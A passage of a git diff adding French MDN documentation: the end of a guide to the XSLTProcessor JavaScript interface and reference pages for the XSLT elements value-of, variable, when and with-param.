+<p>Avant d'utiliser cet objet, nous devons importer une feuille de style avec la fonction <code>importStylesheet()</code>. Elle a un unique paramètre, qui est le nœud DOM de la feuille de style XSLT à importer — remarquez que l'importation est directe, ce qui signifie que si nous modifions la feuille de style DOM après son importation, cela sera reflété lors du traitement. Il est cependant conseillé d'utiliser les paramètres de feuille de style plutôt que de modifier le DOM. C'est généralement plus facile et on obtient de meilleures performances.</p>
+<pre class="eval">var testTransform = document.implementation.createDocument("", "test", null);
+// juste un exemple pour obtenir une transformation dans un script étant donné que
+// la fonction DOM XMLDocument.load est asynchrone, donc tout le traitement se fait
+// dans le gestionnaire onload
+testTransform.addEventListener("load", onload, false);
+testTransform.load("test-transform.xml");
+function onload() {
+  processor.importStylesheet(testTransform);
+}
+</pre>
+<p><code>importStylesheet</code> requiert un argument, un nœud DOM. Si ce nœud est un nœud de document, nous pouvons passer par une transformation XSL ou une <a class="external" href="http://www.w3.org/TR/xslt#result-element-stylesheet">transformation littérale d'élément résultant</a>, autrement il devra être un élément &lt;tt&gt;xsl:stylesheet&lt;/tt&gt; ou &lt;tt&gt;xsl:transform&lt;/tt&gt;.</p>
+<h3 id="Transformation_du_document" name="Transformation_du_document">Transformation du document</h3>
+<p>Nous pouvons utiliser les méthodes <a href="#transformToDocument"><code>transformToDocument()</code></a> ou <a href="#transformToFragment"><code>transformToFragment()</code></a> pour transformer un document à l'aide de la feuille de style spécifiée.</p>
+<h4 id="transformToDocument" name="transformToDocument">transformToDocument</h4>
+<p><code>transformToDocument()</code> prend un argument, le nœud source à transformer, et retourne un nouveau <code>Document</code> DOM avec les résultats de la transformation :</p>
+<pre class="eval">var newDocument = processor.transformToDocument(domToBeTransformed);
+</pre>
+<p>L'objet résultant est un <code>HTMLDocument</code> si la <a class="external" href="http://www.w3.org/TR/xslt#output">méthode de sortie</a> de la feuille de style est &lt;tt&gt;html&lt;/tt&gt;, un <code>XMLDocument</code> pour &lt;tt&gt;xml&lt;/tt&gt;, et pour la méthode de sortie &lt;tt&gt;text&lt;/tt&gt; un <code>XMLDocument</code> avec uniquement un élément racine <code>&lt;transformiix:result&gt;</code> avec le texte comme descendant.</p>
+<h4 id="transformToFragment" name="transformToFragment">transformToFragment</h4>
+<p>Nous pouvons également utiliser <code>transformToFragment()</code> qui retournera un nœud <code>DocumentFragment</code> DOM. C'est très efficace car l'adjonction d'un fragment à un autre nœud adjoint de façon transparente tous les descendants de ce fragment, et le fragment lui-même n'est pas fusionné. Les fragment sont donc utiles pour déplacer les nœuds et les stocker sans les éléments inutiles d'un objet document entier.</p>
+<p><code>transformToFragment</code> prend deux arguments : le document source à transformer (comme ci-dessus) et un objet <code>Document</code> qui possèdera le fragment (tous les fragments doivent être possédés par un document).</p>
+<pre class="eval">var ownerDocument = document.implementation.createDocument("", "test", null);
+var newFragment = processor.transformToFragment(domToBeTransformed, ownerDocument);
+</pre>
+<p><code>transformToFragment</code> ne produira que des objets HTML DOM que si le propriétaire du document est lui-même un <code>HTMLDocument</code>, ou si la méthode de sortie de la feuille de style est &lt;tt&gt;HTML&lt;/tt&gt;. Il <b>ne produira pas</b> un objet HTML DOM si seul l'élément de haut niveau du résultat est <code>&lt;html&gt;</code> car <code>transformToFragment</code> est rarement utilisé pour créer cet élément. Si nous voulons annuler cela, nous pouvons définir la méthode de sortie normale par le moyen standard.</p>
+<h3 id="D.C3.A9finition_des_param.C3.A8tres" name="D.C3.A9finition_des_param.C3.A8tres">Définition des paramètres</h3>
+<p>Nous pouvons contrôler les <a class="external" href="http://www.w3.org/TR/xslt#variables">paramètres de la feuille de style</a> à l'aide des méthodes <code>setParameter</code>, <code>getParameter</code> et <code>removeParameter</code>. Elles nécessitent une URI d'espace de nommage et un nom local qui seront les deux premiers paramètres, <code>setParameter</code> sera un troisième paramètres — la valeur de ce dernier paramètre étant à définir.</p>
+<h3 id="R.C3.A9initialisation" name="R.C3.A9initialisation">Réinitialisation</h3>
+<p>L'objet <code>XSLTProcessor</code> implémente également une méthode <code>reset()</code> qui peut être utilisée pour supprimer toutes les feuilles de style et tous les paramètres puis ramener le processeur dans son état initial. Cette méthode est implémentée dans <a href="fr/Gecko">Mozilla</a> 1.3 et supérieurs.</p>
+<h3 id="Ressources" name="Ressources">Ressources</h3>
+<ul>
+ <li><a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/public/nsIXSLTProcessor.idl" rel="custom">nsIXSLTProcessor.idl</a> reflètera toujours l'interface réelle de l'objet <code>XSLTProcessor</code>.
+  <ul>
+   <li><a class="external" href="http://xulplanet.com/references/objref/XSLTProcessor.html">A XULPlanet reference page (en)</a>.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://lxr.mozilla.org/seamonkey/source/content/xslt/public/nsIXSLTProcessorObsolete.idl">The nsIXMLProcessorObsolete IDL file (en)</a> <span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> : l'interface JS dans les versions de Mozilla antérieures à la 1.2.</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Informations_sur_le_document_original" name="Informations_sur_le_document_original">Informations sur le document original</h3>
+ <ul>
+  <li>Auteur(s) : <a class="link-mailto" href="mailto:mike@theoretic.com">Mike Hearn</a></li>
+  <li>Dernière mise à jour : 21 décembre 2005</li>
+  <li>Copyright: Copyright © Mike Hearn</li>
+ </ul>
+</div>
+<p><span class="comment">Interwiki Languages Links</span></p>
+<div class="noinclude">
+  </div>
diff --git a/files/fr/web/xslt/value-of/index.html b/files/fr/web/xslt/value-of/index.html
new file mode 100644
index 0000000000..eba0698be5
--- /dev/null
+++ b/files/fr/web/xslt/value-of/index.html
@@ -0,0 +1,32 @@
+---
+title: value-of
+slug: Web/XSLT/value-of
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/value-of
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:value-of&gt;</code> évalue une expression XPath, la convertit en chaîne et écrit cette chaîne dans l'arbre de sortie.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:value-of select=EXPRESSION disable-output-escaping="yes" | "no"  /&gt;
+</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>select</code>
+</dt><dd>Définit l'expression XPath à évaluer et à écrire dans l'arbre de sortie.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>disable-output-escaping</code> (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour sortir des entités HTML, employez leurs valeurs numériques à la place, par exemple <code>&amp;#160</code> pour <code>&amp;nbsp</code>).
+</dt><dd>Définit si les caractères spéciaux sont échappés quand ils sont écrits sur la sortie. Les valeurs autorisées sont <code>yes</code> ou <code>no</code>. Par exemple, s'il est définit à <code>yes</code>, le caractère &lt;tt&gt;&gt;&lt;/tt&gt; est transmis brut ( <code>&gt;</code> ). Dans le cas contraire, c'est <code>&amp;gt</code> qui serait envoyée à la sortie.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#value-of">XSLT 1.0, section 7.6.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté, comme décrit ci-dessus.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/value-of", "ja": "ja/XSLT/value-of", "pl": "pl/XSLT/value-of" } ) }}
diff --git a/files/fr/web/xslt/variable/index.html b/files/fr/web/xslt/variable/index.html
new file mode 100644
index 0000000000..0bd1320084
--- /dev/null
+++ b/files/fr/web/xslt/variable/index.html
@@ -0,0 +1,33 @@
+---
+title: variable
+slug: Web/XSLT/variable
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/variable
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:variable&gt;</code> déclare une variable globale ou locale dans une feuille de style et lui attribue une valeur. Comme XSLT ne permet pas d'effet de bord, une fois que la valeur de la variable est établie, elle reste la même jusqu'à ce que la variable soit hors de portée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:variable name=NOM select=EXPRESSION &gt;
+	MODÈLE
+&lt;/xsl:variable&gt; </pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>name</code>
+</dt><dd>Donne un nom à la variable.
+</dd></dl>
+<h3 id="Attribut_optionnel" name="Attribut_optionnel"> Attribut optionnel </h3>
+<dl><dt><code>select</code>
+</dt><dd>Définit la valeur de la variable à l'aide d'une expression XPath. Si l'élément contient un modèle, cet attribut est ignoré.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Premier niveau ou instruction. S'il intervient comme élément de premier niveau, la variable est de portée globale, et est accessible depuis l'ensemble du document. S'il intervient dans un modèle, la variable est de portée locale, et n'est accessible que dans le modèle dans lequel elle apparaît.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#variables" class="external">XSLT 1.0, section 11</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/variable", "pl": "pl/XSLT/variable" } ) }}
diff --git a/files/fr/web/xslt/when/index.html b/files/fr/web/xslt/when/index.html
new file mode 100644
index 0000000000..21cf06aa55
--- /dev/null
+++ b/files/fr/web/xslt/when/index.html
@@ -0,0 +1,31 @@
+---
+title: when
+slug: Web/XSLT/when
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/when
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:when&gt;</code> apparaît toujours dans un élément <code>&lt;xsl:choose&gt;</code>, et se comporte comme une structure conditionelle 'case'.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:when test=EXPRESSION&gt;
+	MODÈLE
+&lt;/xsl:when&gt;</pre> <h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>test</code>
+</dt><dd>Définit une expression booléenne à évaluer. Si elle est vraie, le contenu de l'élément est exécuté ; sinon, il est ignoré.
+</dd></dl>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Sous-instruction, apparaît toujours dans un élément <code>&lt;xsl:choose&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose" class="external">XSLT 1.0, section 9.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "pl": "pl/XSLT/when" } ) }}
diff --git a/files/fr/web/xslt/with-param/index.html b/files/fr/web/xslt/with-param/index.html
new file mode 100644
index 0000000000..7b4ca9c40e
--- /dev/null
+++ b/files/fr/web/xslt/with-param/index.html
@@ -0,0 +1,32 @@
+---
+title: with-param
+slug: Web/XSLT/with-param
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/with-param
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:with-param&gt;</code> définit la valeur d'un paramètre à passer à un modèle.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:with-param name=NOM select=EXPRESSION&gt;
+	MODÈLE
+&lt;/xsl:with-param&gt;</pre> <h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit un nom pour ce paramètre.
+</dd></dl>
+<h3 id="Attribut_optionnel" name="Attribut_optionnel"> Attribut optionnel </h3>
+<dl><dt><code>select</code>
+</dt><dd>Définit la valeur du paramètre à l'aide d'une expression XPath. Si l'élément contient un modèle, l'attribut est ignoré.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Sous-instruction, apparaît toujours dans un élément <code>&lt;xsl:apply-templates&gt;</code> ou un élément <code>&lt;xsl:call-template&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Passing-Parameters-to-Templates" class="external">XSLT 1.0, section 11.6</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "pl": "pl/XSLT/with-param" } ) }}